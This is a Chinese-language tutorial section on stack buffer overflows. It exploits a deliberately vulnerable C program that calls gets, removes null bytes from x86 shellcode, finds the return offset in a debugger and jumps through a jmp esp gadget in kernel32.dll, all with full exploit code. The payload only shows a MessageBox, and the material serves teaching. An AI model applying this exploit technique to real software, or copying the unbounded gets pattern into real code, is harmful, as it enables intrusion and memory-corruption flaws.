栈溢出笔记1.4 黑掉example_2

在1.2节中我们编写了一个有漏洞的程序，通过输入可以控制其EIP，本节，我们要让example_2运行我们的MessageBox。再看看example_2：

/*****************************************************************************/
// example_2: 演示栈溢出
#include <stdio.h>

void get_print()
{
    char str[11];

    gets(str);
    printf("%s\n", str);
}

int main()
{
    get_print();

    return 0;
}
/*****************************************************************************/

问题出在gets函数，要运行MessageBox，我们可以通过gets没有长度限制来输入1.3节中的Shellcode，但实际情况不像 example_4那么简单，有不少问题要解决。

（1）空字符
操作码含有不少空字符，在example_4中没有什么问题，因为它实际上并不是一个字符串，而是一段指令。但是现在，我们只能通过gets函数输入这段指令，因此，它必须被当做一个字符串读入。所以，它不能包含空字符。这个问题容易解决，只要把带有空字符的指令用等效的指令替换就可以了。例如，可以把PUSH 0 换为： XOR EAX，EAX; PUSH EAX。
修改后的程序如下：

/*****************************************************************************/
// example_6 替换产生空字符的指令后的程序
int main()
{
    __asm
    {
        push    ebp
        mov ebp, esp

        xor     eax, eax    // "ld"
        mov ax, 0x646c
        push    eax

        push    0x726f576f  // "oWor"
        push    0x6c6c6548  // "Hell"

        push    0x00000031  // "1"
        push    0x5f656c70  // "ple_"
        push    0x6d617865  // "exam"

        mov ax, 0x6c6c  // "ll"
        push    eax 
        push    0x642e3233  // "32.d"
        push    0x72657375  // "user"

        lea     ebx, [ebp-24h]
        push    ebx
        mov ebx, 0x7c801d7b 
        call        ebx // LoadLibraryA

        xor     eax, eax
        push    eax
        lea     ebx, [ebp-18h]
        push    ebx
        lea     ebx, [ebp-0ch]
        push    ebx
        push    eax

        mov ebx, 0x77d507ea // MessageBoxA
        call        ebx

        push    eax
        mov ebx, 0x7c81cafa // ExitProcess
        call        ebx
    }
}
/*****************************************************************************/

/*****************************************************************************/
// example_7无空字符的Shellcode
char opcode[] = "\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"  
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";   

int main()
{
    int* ret;
    ret = (int*)&ret + 2;
    (*ret) = (int)opcode;
}
/*****************************************************************************/

这里说明一个东西——指令前缀，在操作码中会用冒号隔开，但是冒号本身不是操作码的一部分，提取操作码的时候不要加入冒号。如下：

图27

（2）无法输入的字符
如果只是abcd这种常见字符，很容易输入，但是操作码中含有一些无法输入的字符。例如，example_7中的操作码打印出来是这样子的：

图28

这个问题很容易解决，cmd命令行中有管道命令，因此，可以通过管道命令向example_2输入。用一个程序将Shellcode打印出来，然后通过管道输入到example_2即可。

（3）EIP修改为多少？
这也是最重要的问题，因为我们的目的就是控制EIP执行输入的Shellcode。那EIP修改为多少呢？当然是修改为Shellcode的首地址。但是不像 example_4中，我们明确指定Shellcode的地址，现在我们不知道。这由几种办法来解决，我们先用最笨的办法，即通过Immunity Debugger找到这个地址。
用Immunity Debugger打开example_2，这次，我们输入16个A和4个B，以及一大串C，
在get_print函数中POP EBP处下断点：

图29

查看栈的内容：

图30

BBBB为返回地址（EIP），因此，Shellcode起始地址为0x0012FF1C。

为了黑example_2，需要修改Shellcode，要在首部填充16个A（正常输入+填充EBP），然后填充0x0012FF1C，然后是原Shellcode。你注意到问题了吗？对的，EIP的填充地址0x0012FF1C，包含了空字符，这次，我们无法再替换掉它，而且，地址必须为四字节。因此，这种方法行不通。看来，想偷下懒都不行了。

我们需要另辟蹊径了。那么，还有什么是与栈上这个地址有关呢？与栈最密切的是EBP，ESP这两个寄存器，说到这，你可能已经知道了。是的，函数RET指令返回时取走保存的EIP之后，ESP指向的位置就是Shellcode的初始地址。

图31

因此，要让程序执行Shellcode，只需要一句 jmp esp就行了。所以，我们应该把EIP填充为一句jmp esp指令的地址，这样，EIP返回后，执行一句jmp esp，然后就跳转到Shellcode开始执行。但是，example_2中没有jmp esp，因此，我们需要在其它模块中找一条该指令。在Immunity Debugger中，右键Search for——All commands in all modules，键入jmp esp，查找结果如下：

图32

在MSVCR90D.dll和kernel32.dll中各找到一条，我们使用kernel32.dll中的，记下其地址：0x7c86467B。这个地址是可用的，不包含空字符。

下面是输出Shellcode的程序，它将通过管道将Shellcode输入给example_2:

/*****************************************************************************/
// example_5 打印Shellcode
#include <stdio.h>

char opcode[] = "AAAAAAAAAAAAAAAA\x7B\x46\x86\x7c"
"\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"  
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";   

int main()
{
    printf("%s", opcode);
}
/*****************************************************************************/

下面是见证奇迹的时刻，在命令行下输入如下内容：

图33

弹出了MessageBox，我们成功的黑掉了具有漏洞的example_2。